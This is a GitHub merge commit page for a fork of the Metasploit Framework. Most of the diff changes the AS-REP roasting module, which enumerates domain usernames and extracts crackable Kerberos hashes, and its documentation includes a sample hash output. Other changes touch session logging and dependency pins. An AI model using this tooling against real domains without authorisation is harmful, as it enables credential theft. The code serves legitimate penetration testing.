Skip to content

Commit c0c8147

Browse files
committed
Merge branch 'master' of github.com:h4x-x0r/metasploit-framework into my_awesome_branch
2 parents 90ed8ae + e505b95 commit c0c8147

File tree

11 files changed

+44
-24
lines changed

11 files changed

+44
-24
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ PATH
2929
faraday (= 2.7.11)
3030
faraday-retry
3131
faye-websocket
32-
ffi (= 1.16.3)
32+
ffi (< 1.17.0)
3333
filesize
3434
getoptlong
3535
hrr_rb_ssh-ed25519

db/modules_metadata_base.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19845,7 +19845,7 @@
1984519845

1984619846
],
1984719847
"targets": null,
19848-
"mod_time": "2024-05-02 13:57:13 +0000",
19848+
"mod_time": "2024-07-23 09:56:40 +0000",
1984919849
"path": "/modules/auxiliary/gather/asrep.rb",
1985019850
"is_install_path": true,
1985119851
"ref_name": "gather/asrep",

documentation/modules/auxiliary/gather/asrep.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ usually preferable, but may be less stealthy.
4444
An example of brute forcing usernames, in the hope of finding one with pre-auth not required:
4545

4646
```msf
47-
msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local rhostname=dc22
47+
msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local
4848
[*] Running module against 192.168.1.1
4949
5050
[email protected]:9fb9954fa32193185ab32e2de2ab9f13$bf14e834c661246cad302073c228e6ff7894cd3023665f0f84338432c3929922ae998c4a23bb9d163dda536a230d0503b2cf575389317b52bde782264940e80206a29e9613e47328228441cf013fb1f6672359f6799be97b962de9429e8859f437e53549be6b11ca07af6f09eae6cd78279af6d7f6dcdfd011eccb74b4aa753b2f9e6561c59c9408ee4bec983777908f3a7eef5fba977710e47e4e8ac0af10608a7dd23db506202b27d7892bc28426d2080c343edfe243bf1cae554cf6204733082332be2455e4674e1c3e84614818a6c15b54221dcaa832
@@ -71,4 +71,4 @@ [email protected]:234e56b15bf3a0e3eb93d662ea6ded74$9889b0a449154c1353
7171
7272
[*] Query returned 1 result.
7373
[*] Auxiliary module execution completed
74-
```
74+
```

lib/msf/base/sessions/command_shell.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -654,6 +654,7 @@ def shell_command(cmd, timeout=5)
654654
def shell_read(length=-1, timeout=1)
655655
begin
656656
rv = rstream.get_once(length, timeout)
657+
rlog(rv, self.log_source) if rv && self.log_source
657658
framework.events.on_session_output(self, rv) if rv
658659
return rv
659660
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
@@ -672,6 +673,7 @@ def shell_write(buf)
672673
return unless buf
673674

674675
begin
676+
rlog(buf, self.log_source) if self.log_source
675677
framework.events.on_session_command(self, buf.strip)
676678
rstream.write(buf)
677679
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e

lib/msf/core/auxiliary/report_summary.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def run
4444
# @param [Hash] credential_data
4545
# @return [Metasploit::Credential::Login]
4646
def create_credential_login(credential_data)
47-
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins']
47+
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
4848

4949
credential = {
5050
public: credential_data[:username],
@@ -65,7 +65,7 @@ def create_credential_login(credential_data)
6565
# @param [Msf::Sessions::<SESSION_CLASS>] sess
6666
# @return [Msf::Sessions::<SESSION_CLASS>]
6767
def start_session(obj, info, ds_merge, crlf = false, sock = nil, sess = nil)
68-
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins']
68+
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
6969

7070
result = super
7171
@report[rhost].merge!({ successful_sessions: [] })

lib/msf/core/exploit/remote/kerberos/client.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -292,11 +292,12 @@ def send_request_tgt(options = {})
292292
# If we receive an AS_REP response immediately, no-preauthentication was required and we can return immediately
293293
if initial_as_res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
294294
pa_data = initial_as_res.pa_data
295-
etype_entries = pa_data.find {|entry| entry.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_ETYPE_INFO2}
296295
if password.nil? && key.nil?
297296
decrypted_part = nil
298297
krb_enc_key = nil
299298
else
299+
etype_entries = pa_data.find {|entry| entry.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_ETYPE_INFO2}
300+
300301
# Let's try to check the password
301302
server_ciphers = etype_entries.decoded_value
302303
# Should only have one etype

lib/msf/ui/console/driver.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -569,10 +569,16 @@ def run_unknown_command(command)
569569
def handle_session_logging(val)
570570
if (val =~ /^(y|t|1)/i)
571571
Msf::Logging.enable_session_logging(true)
572-
print_line("Session logging will be enabled for future sessions.")
572+
framework.sessions.values.each do |session|
573+
Msf::Logging.start_session_log(session)
574+
end
575+
print_line("Session logging enabled.")
573576
else
574577
Msf::Logging.enable_session_logging(false)
575-
print_line("Session logging will be disabled for future sessions.")
578+
framework.sessions.values.each do |session|
579+
Msf::Logging.stop_session_log(session)
580+
end
581+
print_line("Session logging disabled.")
576582
end
577583
end
578584

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ Gem::Specification.new do |spec|
154154
spec.add_runtime_dependency 'net-smtp'
155155
spec.add_runtime_dependency 'net-sftp'
156156
spec.add_runtime_dependency 'winrm'
157-
spec.add_runtime_dependency 'ffi', '1.16.3'
157+
spec.add_runtime_dependency 'ffi', '< 1.17.0'
158158

159159
#
160160
# REX Libraries

modules/auxiliary/gather/asrep.rb

Lines changed: 22 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def initialize(info = {})
4646
Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),
4747
OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
4848
OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
49-
OptString.new('Rhostname', [ true, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
49+
OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
5050
]
5151
)
5252
register_option_group(name: 'SESSION',
@@ -77,26 +77,36 @@ def run
7777
def run_brute
7878
result_count = 0
7979
user_file = datastore['USER_FILE']
80-
if user_file.nil?
81-
fail_with(Msf::Module::Failure::BadConfig, 'User file must be specified when brute forcing')
80+
username = datastore['USERNAME']
81+
if user_file.blank? && username.blank?
82+
fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing')
83+
end
84+
if username.present?
85+
begin
86+
roast(datastore['USERNAME'])
87+
result_count += 1
88+
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
89+
# User either not present, or requires preauth
90+
vprint_status("User: #{username} - #{e}")
91+
end
8292
end
8393
if user_file.present?
8494
File.open(user_file, 'rb') do |file|
8595
file.each_line(chomp: true) do |user_from_file|
8696
roast(user_from_file)
8797
result_count += 1
88-
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError
98+
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
8999
# User either not present, or requires preauth
100+
vprint_status("User: #{user_from_file} - #{e}")
90101
end
91102
end
92-
if result_count == 0
93-
print_error('No users found without preauth required')
94-
else
95-
print_line
96-
print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
97-
end
103+
end
104+
105+
if result_count == 0
106+
print_error('No users found without preauth required')
98107
else
99-
fail_with(Msf::Module::Failure::BadConfig, 'User file not found')
108+
print_line
109+
print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
100110
end
101111
end
102112

@@ -138,7 +148,7 @@ def run_ldap
138148

139149
def roast(username)
140150
res = send_request_tgt(
141-
server_name: datastore['Rhostname'],
151+
server_name: "krbtgt/#{datastore['domain']}",
142152
client_name: username,
143153
realm: datastore['DOMAIN'],
144154
offered_etypes: etypes,

spec/tools/dev/rubocop_runner_spec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -72,8 +72,8 @@ def patch_io_read_encoding
7272
expect(@status).to be_zero
7373
end
7474

75-
it 'contains no warnings' do
76-
expect(@stdout).to be_empty
75+
it 'contains a status message' do
76+
expect(@stdout).to match /Rubocop not required for older modules skipping/
7777
end
7878
end
7979
end

0 commit comments

Comments
 (0)